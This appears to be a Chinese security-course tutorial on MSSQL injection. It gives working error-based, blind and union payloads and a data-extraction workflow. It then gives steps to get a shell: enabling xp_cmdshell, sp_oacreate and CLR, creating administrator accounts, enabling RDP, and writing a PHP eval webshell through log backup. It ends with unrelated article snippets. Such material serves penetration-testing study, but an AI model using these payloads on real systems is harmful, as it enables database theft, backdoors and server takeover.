网络安全进阶学习第十四课——MSSQL注入
文章目录
- 一、MSsql数据库
- 二、MSsql结构
- 三、MSsql重点表
- 1、master 数据库中的Sysdatabases 表
- 2、Sysobjects 表
- 3、Syscolumns 表
- 四、Mssql常用函数
- 五、Mssql的报错注入
- 六、Mssql的盲注
- 常用以下函数进行盲注:
- 七、联合注入
- 1、获取当前表的列数
- 2、获取当前数据库名
- 3、获取表名
- 4、获取表id
- 5、获取表字段名
- 6、获取manage表中username字段的数据
- 八、注入流程
- 1、判断权限
- 2、获取当前数据库
- 3、获取当前数据库内的所有数据表
- 4、获取当前数据库内的指定数据表的所有字段
- 5、取指定数据库内的表数据内容
- 九、getshell
- 1、mssql权限
- 2、SA权限开启xp_cmdshell 获取主机权限
- 1)判断xp_cmdshell 是否打开
- 2)然后通过上述的execute步骤,将xp_cmdshell开启
- 3、SA权限使用sp_oacreate 执行系统命令
- 1)下面的命令可以查看sp_oacreate 是否被允许:
- 2)开启sp_oacreate
- 3)执行添加用户命令 进行测试
- 4、SA权限使用CLR 执行系统命令
- 创建CLR有两种方式:
- 启用CLR功能
- 5、DB_owner权限 LOG备份Getshell
- 1)sql server常见的备份策略
- 2)利用前提
- 3)注入代码
- 6、综述
一、MSsql数据库
强类型数据库,会把数字和字符严格区分的。
二、MSsql结构
有四个默认的数据库:
- 1、master
(重点)
保存着SQL Server实例的配置、权限、数据库定义和其他需要的信息。 - 2、model
模板数据库。每当创建一个新的数据库(包括系统数据库的TempDB),会创建一个以 Model 数据库为副本数据库,并更改成你创建数据库时所用的名。 - 3、msdb
代理的数据库,用于配置警报使用 SQL Server 代理和预定作业等。 - 4、tempdb
暂时存储数据的,用于存储系统运行过程中临时产生的数据,例如用户定义的表、索引等。
三、MSsql重点表
1、master 数据库中的Sysdatabases 表
Sysdatabases 表只保存在 master 数据库中,这个表中保存的是所有的库名
,主要字段有:name
(数据库名)
2、Sysobjects 表
所有数据库内都有此系统表,无论是用户自建的数据库还是系统默认的数据库。该表存放着当前数据库所有的表名
(类似MySQL中information_schema数据库中的tables表)。主要字段有:name(表名)、id(表 ID)、xtype(创建的对象)。
当 xtype='U'
,代表是用户建立的表。
- 和MySQL的数据库路径方法有区别:
Mysql:information_schema.tables
Mssql:master.dbo
.sysobjects
3、Syscolumns 表
所有数据库内都有此系统表,无论是用户自建的数据库还是系统默认的数据库。
该表存放着当前数据库所有的字段名
。主要字段有:name(分别是字段名称)、id(表 ID)。其中的 ID 是用 sysobjects 表中得到的表的 ID 号。
四、Mssql常用函数
函数 | 函数作用 |
---|---|
db name() | 返回当前数据库的名称 |
host_name() | 返回计算机名称 |
current_user | 返回当前数据库的用户名 |
user | 数据库用户 |
substring() | 字符串截取函数 |
@@version | 查看数据库版本 |
char() | ASCII 转字符函数 |
cast(text as type()) | 字符类型转换,如果转换失败会将 text 结果报错显示在页面上 |
object_id() | 根据表名返回数据库表名 ID |
object_name() | 根据 ID 返回数据库表名 |
col_name(object_id,column_id) 举例:Col_name(object_id(‘users’),2) | 返回指定表中指定字段(列)的名称 |
五、Mssql的报错注入
由于Mssql是强类型数据库,一旦数据类型不匹配就会报错。这时我们就可以利用四则运算
,让整型数据和字符型数据
之间来进行运算,例如1+user。
举例POC:'or 1=convert(int,@@version)--
六、Mssql的盲注
跟mysql差不多,区别在于使用的函数不同
。
常用以下函数进行盲注:
-
1、patindex(pattern,string)
#返回某个字符或正则在某个字符串中第一次出现的位置 -
2、replace(string,substring1,substring2)
#将字符串中出现的某个子串替换成另一个字符串,就是将在string中出现的substring1替换成substring2。
举例:replace(‘1-a 2-b’,’-’, ’:’),返回结果是:1:a 2:b -
3、replicate(string,n)
#指定的次数复制字符串
举例:replicate(‘abc’,3),返回结果是:abcabcabc -
4、stuff(string,pos,delete_length,insertstring)
#先删除字符串中的一个字串,再插入一个新的子串作为替换
举例:stuff(‘xyz’,2,1,’abc’),返回结果是:xabcz -
5、upper(string)和lower(string)
#将字符串转换成大写或小写 -
6、rtrim(string)和ltrim(string)
#删除字符串中的尾随空格或前导空格 -
7、charindex(expression1 , expression2 , [ start_location ])
#返回字符串中指定表达式的起始位置,若查询到就返回位置,若没有查询到就返回false。另外,charindex的参数不区分大小写。
七、联合注入
1、获取当前表的列数
id=-1 order by 4--+
4不报错,5报错
2、获取当前数据库名
id=-1 union all select 1,2,db_name(),4--+
这里返回:mozhe_db
3、获取表名
id=-1 union all select top 1 1,2,name,4 from mozhe_db.dbo.sysobjects where xtype=’U’--+
这里返回:manage
假如要获取下一个表可以使用老方法,直接再where后面添加:and name !=’manage’,就可以弹出下一个表名
4、获取表id
id=-1 union all select 1,id,3,4 from sysobjects where name=’manage’--+
这里返回:5575058
5、获取表字段名
id=-1 union all select top 1 1,2,name,4 from syscolumns where id=5575058 --+
这里返回:username
假如要获取下一个字段名可以使用老方法,直接在where后面添加:and name !=’ username’,就可以弹出下一个字段名
6、获取manage表中username字段的数据
id=-1 union all select top 1 1,2, username ,4 from manage --+
这里返回:admin_mz
假如要获取下一个数据可以使用老方法,直接在后面添加:where username !=’ admin_mz’,就可以弹出下一个字段名
八、注入流程
1、判断权限
如果页面回显正常则为正确,否则报错。举例POC:
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) –
2、获取当前数据库
and 1=(select db_name()) –
3、获取当前数据库内的所有数据表
and 1=convert(int,(select quotename(name) from 数据库名.dbo.sysobjects where xtype=‘U’ FOR XML PATH(‘’))) –
注意:
convert函数是强制转数据类型的。
Quotename函数的主要作用就是在存储过程中,给列名、表名等加个[ ]、’’等以保证sql语句能正常执行。
FOR XML PATH 是将查询结果集以XML形式展现,将多行的结果,展示在同一行。
4、获取当前数据库内的指定数据表的所有字段
and 1=(select quotename(name) from 数据库名.dbo.syscolumns where id =(select id from 数据库名…sysobjects where name=‘指定表名’) FOR XML PATH(‘’)) –
5、取指定数据库内的表数据内容
and 1=(select top 1 * from 指定数据库.dbo.指定表名 where排除条件 FOR XML PATH(‘’))–
九、getshell
1、mssql权限
- sa权限:数据库操作,文件管理,命令执行,注册表读取等system。是mssql的最高权限
- db权限:文件管理,数据库操作等 users-administrators
- public权限:数据库操作 guest-users
2、SA权限开启xp_cmdshell 获取主机权限
1)判断xp_cmdshell 是否打开
select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'
返回1是打开;返回0是关闭
- 如果xp_cmdshell权限没有开启,我们可以执行下面命令开启,下面四步,使xp——cmdshell开启
execute('sp_configure "show advanced options",1') #将该选项的值设置为1
execute('reconfigure') #保存设置
execute('sp_configure "xp_cmdshell", 1') #将xp_cmdshell的值设置为1
execute('reconfigure') #保存设置
execute('sp_configure') #查看配置
execute('xp_cmdshell "whoami"') #执行系统命令
- 或者:
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
exec sp_configure;
exec xp_cmdshell 'whoami';
- 可以执行系统权限之后,前提是获取的主机权限是administrators组里的
exec xp_cmdshell 'net user Guest 123456' #给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes' #激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add' #将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启3389端口
-
execute(‘sp_configure “show advanced options”,1’) #将该选项的值设置为1
-
execute(‘reconfigure’) #保存设置
-
虽然用第一步判断xp_cmdshell是否打开返回为1,但是依然无法执行命令。使用execute(‘xp_cmdshell “whoami”’) 此命令默认被禁止
2)然后通过上述的execute步骤,将xp_cmdshell开启
3、SA权限使用sp_oacreate 执行系统命令
使用sp_oacreate的前提:sql server数据服务未降权
我们可以借助sql server中的com组件sp_oacreate来执行系统命令。
1)下面的命令可以查看sp_oacreate 是否被允许:
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'whoami'
2)开启sp_oacreate
EXEC sp_configure 'show advanced options', 1;
//类似于exe('sp_configure' "show advanced options",1)
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
由此可以看出,sp_oacreate 命令无回显
3)执行添加用户命令 进行测试
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,
'c:\windows\system32\cmd.exe /c net user hack Password@ /add'
--上面sql server语言固定,最后一行是执行的系统命令
4、SA权限使用CLR 执行系统命令
创建CLR有两种方式:
- 使用DLL文件进行创建
- 使用文件16进制流进行创建
启用CLR功能
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;
如果存在权限问题,执行下面命令
alter database [master] set TRUSTWORTHY on --后续要导入不安全的程序集,因此将数据库标记为安全
EXEC sp_changedbowner 'sa'
导入程序集CREATE ASSEMBLY [WarSQLKit]
AUTHORIZATION [dbo] FROM 十六进制数据
WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER
AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
执行命令EXEC [dbo].[SqlStoredProcedure1]; 例如:exec sp_cmdExec 'whoami'
删除程序集DROP PROCEDURE sp_cmdExec;
DROP ASSEMBLY [WarSQLKit];
5、DB_owner权限 LOG备份Getshell
无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马
1)sql server常见的备份策略
- 每周一次完整备份
- 每天一次差异备份
- 每小时一次事务备份
2)利用前提
- 目标机器存在
数据库备份文件
。也就是说,如果我们利用test数据库,那么要求test数据库存在数据库备份文件,而且恢复模式得是完整模式
- 知道网站的绝对路径
- 支持堆叠注入
3)注入代码
alter database 数据库名 set RECOVERY FULL; #修改数据库恢复模式为 完整模式
create table cmd (a image); #创建一张表cmd,只有一个列 a,类型为image
backup log 数据库名 to disk= 'C:\phpstudy\WWW\1.php' with init; #备份表到指定路径
insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e);
#插入一句话到cmd表里,十六进制为一句话木马<?php @eval($_POST['x']);?>
backup log 数据库名 to disk='C:\phpstudy\WWW\2.php'; #把操作日志备份到指定文件
drop table cmd; #删除cmd表
6、综述
利用日志备份,类似于mysql的在日志中写入一句话木马。
修改数据库恢复模式为完整模式,然后创建一个表,备份表到指定路径
在表中插入一句话木马,将日志文件备份到我们知道的路径,最后删除创建的表
相关文章:

网络安全进阶学习第十四课——MSSQL注入
文章目录 一、MSsql数据库二、MSsql结构三、MSsql重点表1、master 数据库中的Sysdatabases 表2、Sysobjects 表3、Syscolumns 表 四、Mssql常用函数五、Mssql的报错注入六、Mssql的盲注常用以下函数进行盲注: 七、联合注入1、获取当前表的列数2、获取当前数据库名3、…...

【C语言】初阶结构体
🎈个人主页:库库的里昂 🎐CSDN新晋作者 🎉欢迎 👍点赞✍评论⭐收藏 ✨收录专栏:C语言初阶 ✨其他专栏:代码小游戏 🤝希望作者的文章能对你有所帮助,有不足的地方请在评论…...

24届近5年南京理工大学自动化考研院校分析
今天学长给大家带来的是南京理工大学控制考研分析 满满干货~还不快快点赞收藏 一、南京理工大学 学校简介 南京理工大学是隶属于工业和信息化部的全国重点大学,学校由创建于1953年的新中国军工科技最高学府——中国人民解放军军事工程学院…...

5.PyCharm基础使用及快捷键
在前几篇文章中介绍了PyCharm的安装和汉化,本篇文章一起来看一下PyCharm的基本用法和一些快捷键的使用方法。 本篇文章PyCharm的版本为PyCharm2023.2 新建项目和运行 打开工具,在菜单中——文件——新建项目 选择项目的创建位置(注意最好不要使用中文路径和中文名项目名称…...

RabbitMQ的安装
RabbitMQ的安装 1、Windows环境下的RabbitMQ安装步骤 使用的版本:otp_win64_23.2 rabbitmq-server-3.8.16 版本说明:https://www.rabbitmq.com/which-erlang.html#compatibility-matrix 1.1 下载并安装erlang RabbitMQ 服务端代码是使用并发式语言…...

GPU版PyTorch对应安装教程
一、正确安装符合自己电脑的对应GPU版本的PyTorch之前需要了解三个基本概念 算力、CUDA driver version、CUDA runtime version ①算力:需要先知道你的显卡,之后根据官网表格进行对应,得到算力 ②CUDA driver version:电脑上显卡…...

医学影像PACS临床信息系统源码
医学影像临床信息系统(Picture Archiving and Communication Systems)PACS是指从医疗影像设备中获得数字影像,利用高速网络进行存储、管理、传输的医疗影像信息管理系统。通过该系统,能实现影像数字化、无胶片化管理。 登记系统 …...

Python(Web时代)——jinja2模板
简介 Jinja2是Flask框架默认支持的模板引擎,是python的web项目中被广泛应用的一种模板引擎,jinja2的作者与Flask是同一个人。 jinja2具有以下特点: 非常灵活,提供了控制结构、表达式与继承等 性能好 可读性强 渲染一个模板&a…...

酷开系统 | 酷开科技,让数据变得更有价值!
身处信息时代,我们每个人时刻都在生成、传递和应用数据,数据已经成为了现代社会中宝贵的资源之一,而在人工智能领域,数据更是被称为人工智能的“燃料”。 而在AI的发展中,只有拥有高质量、多样性且充分代表性的数据集…...

uni——tab切换
案例展示 案例代码 <view class"tablist"><block v-for"(item,index) in tabList" :key"index"><view class"tabItem" :class"current item.id?active:" click"changeTab(item)">{{item.nam…...

类图的6种关系和golang应用
文章目录 1. 依赖和关联1.1 依赖(Dependency)概念类图示例代码示例 1.2 关联(Association)概念类图示例代码示例 2. 组合和聚合(特殊的关联关系)2.1 聚合(Aggregation)概念类图示例代…...

Linux tar 备忘清单
tar 备忘清单 语法选项创建一个 tar 格式的压缩文件创建压缩后的 tar.gz 存档文件生成压缩率更高的 tar.bz2 文件解压缩 tar 文件解压缩 tar.gz 文件解压缩 tar.bz2 文件列出归档内容从 tar 归档文件中提取单个文件从 tar 归档文件中提取多个文件使用通配符提取文件组添加文件或…...

76. 最小覆盖子串
题目链接:力扣 解题思路:滑动窗口 因为只需要最小子串中包含t中的所有字符即可,顺序不重要,所以可以先统计一下 t 中每个字符出现的次数,使用map进行统计: key表示t中的字符,value表示字符的个…...

科兴未来|2023“数智未来,聚放神采”医疗科技创新挑战赛
一、赛事亮点 聚焦前沿神经科学与脑科学领域 展示优质创新产品、技术、平台与服务 汇聚学术端、产业端、投资端多维专业视角 搭建合作交流、产业赋能与生态融合平台 共话行业发展方向与动态趋势 二、赛事简介 2023医疗科技创新挑战赛聚焦于神经科学及脑科学领域的前沿技…...

第56步 深度学习图像识别:CNN梯度权重类激活映射(TensorFlow)
基于WIN10的64位系统演示 一、写在前面 类激活映射(Class Activation Mapping,CAM)和梯度权重类激活映射(Gradient-weighted Class Activation Mapping,Grad-CAM)是两种可视化深度学习模型决策过程的技术…...

云道资本:2023中国氢能源产业-氢制备深度研究报告(附下载)
关于报告的所有内容,公众【营销人星球】获取下载查看 核心观点 中国可再生能源消纳能力提升远远滞后于发电占比的提升。大规模的可再生能源发电是实现碳中和的关键一步,但风电、光伏发电间歌性、波动性强,电网消纳压力较大,且电…...

java文件
一.File类 二.扫描指定目录,并找到名称中包含指定字符的所有普通文件(不包含目录),并且后续询问用户是否要删除该文件 我的代码: import java.io.File; import java.io.IOException; import java.util.Scanner;public class Tes…...

pyqt5 如何终止正在执行的线程?
在 PyQt5 中终止正在执行的线程,可以通过一些协调的方法来实现。一般情况下,直接强行终止线程是不安全的,可能会导致资源泄漏或者程序异常。相反,我们可以使用一种协作的方式,通知线程在合适的时候自行退出。 以下是一…...

力扣第357场周赛补题
6925. 故障键盘 - 力扣(LeetCode) 思路:模拟 class Solution { public:string finalString(string s) {string res;for(auto c : s){if(c i) reverse(res.begin(), res.end());else res c;}return res;} }; 6953. 判断是否能拆分数组 - 力…...

Keras指定model.fit()的输出
model.fit()当verbose1的时候会打印出所有指标和loss, 在多输出的情况下更是一团乱麻. 下面是一个可以指定每个epoch训练完的输入指标的方法: from keras.callbacks import Callback# Custom callback to display loss only at the end of each epoch class LossCallback(Call…...

替换开源LDAP,某科技企业用宁盾目录统一身份,为业务敏捷提供支撑
客户介绍 某高科技企业成立于2015年,是一家深耕于大物流领域的人工智能公司,迄今为止已为全球16个国家和地区,120余家客户打造智能化升级体验,场景覆盖海陆空铁、工厂等货运物流领域。 该公司使用开源LDAP面临的挑战 挑战1 开源…...

解决log4j.xml的url没有注册问题
在对log4j.xml配置文件配置时出现http//jakarta.apache.org/log4j/爆红,IDEA提示uri is not registered。源代码如下 <!DOCTYPE log4j:configuration SYSTEM "log4j.dtd"> <log4j:configuration xmlns:log4j"http://jakarta.apache.org/lo…...

深度思考操作系统面经
1 堆和栈的区别:(如果记的不太清楚,可以类比jvm中的堆和栈的区别,大差不差) 存储位置:堆是在计算机内存中动态分配的区域,而栈是在计算机内存中由操作系统自动分配和管理的区域。管理方式&…...

智慧工地源码:数字孪生智慧工地可视化解决方案
一、智慧工地建设背景 我国经济发展正从传统粗放式的高速增长阶段,进入高效率、低成本、可持续的中高速增长阶段。随着现代建筑的复杂度和体量等不断增加,施工现场管理的内容越来越多,管理的技术难度和要求在不断提高。传统的施工现场管理模…...

解决rockchip平台Android13系统以太网设置静态IP保存不了问题
前言 rk平台平Android13系统测试以太网,发现设置静态IP保存不了问题,即设置静态IP以后重启系统,IP又变成动态的了。 分析 抓取log发现保存静态IP的时候会打印如下log: 08-07 06:22:28.377 626 749 D EthernetNetworkFactory: updateInterface, iface: eth0, ipConfi…...

SQLAlchemy与标准SQL相比有哪些优点?
让我来给你讲讲SQLAlchemy和标准SQL相比有哪些优点吧! 首先,我们要知道,SQLAlchemy是一个Python的SQL工具包和对象关系映射(ORM)系统,它把Python的面向对象编程(OOP)的理念带入了数…...

Zookeeper与Kafka
Zookeeper与Kafka 一、Zookeeper 概述1.Zookeeper 定义2.Zookeeper 工作机制3.Zookeeper 特点4.Zookeeper 数据结构5.Zookeeper 应用场景6.Zookeeper 选举机制 二、部署 Zookeeper 集群1.准备 3 台服务器做 Zookeeper 集群2.安装 Zookeeper3.拷贝配置好的 Zookeeper 配置文件到…...

MySQL—— 基础语法大全
MySQL—— 基础 一、MySQL概述1.1 、数据库相关概念1.2 、MySQL 客户端连接1.3 、数据模型 二、SQL2.1、SQL通用语法2.2、SQL分类2.3、DDL2.4、DML2.5、DQL2.6、DCL 三、函数四、约束五、多表查询六、事务 一、MySQL概述 1.1 、数据库相关概念 数据库、数据库管理系统、SQL&a…...

css小练习:案例6.炫彩加载
一.效果浏览图 二.实现思路 html部分 HTML 写了一个加载动画效果,使用了一个包含多个 <span> 元素的 <div> 元素,并为每个 <span> 元素设置了一个自定义属性 --i。 这段代码创建了一个简单的动态加载动画,由20个垂直排列的…...

使用正则表达式替换文本中的html标签
文章目录 使用正则表达式替换文本中的html标签原文本:使用正则表达式进行替换替换后:展示 html 文本 使用正则表达式替换文本中的html标签 我们存储 markdown 文章时,如果存储转换后的 html 页面,那么在查出来的时候,…...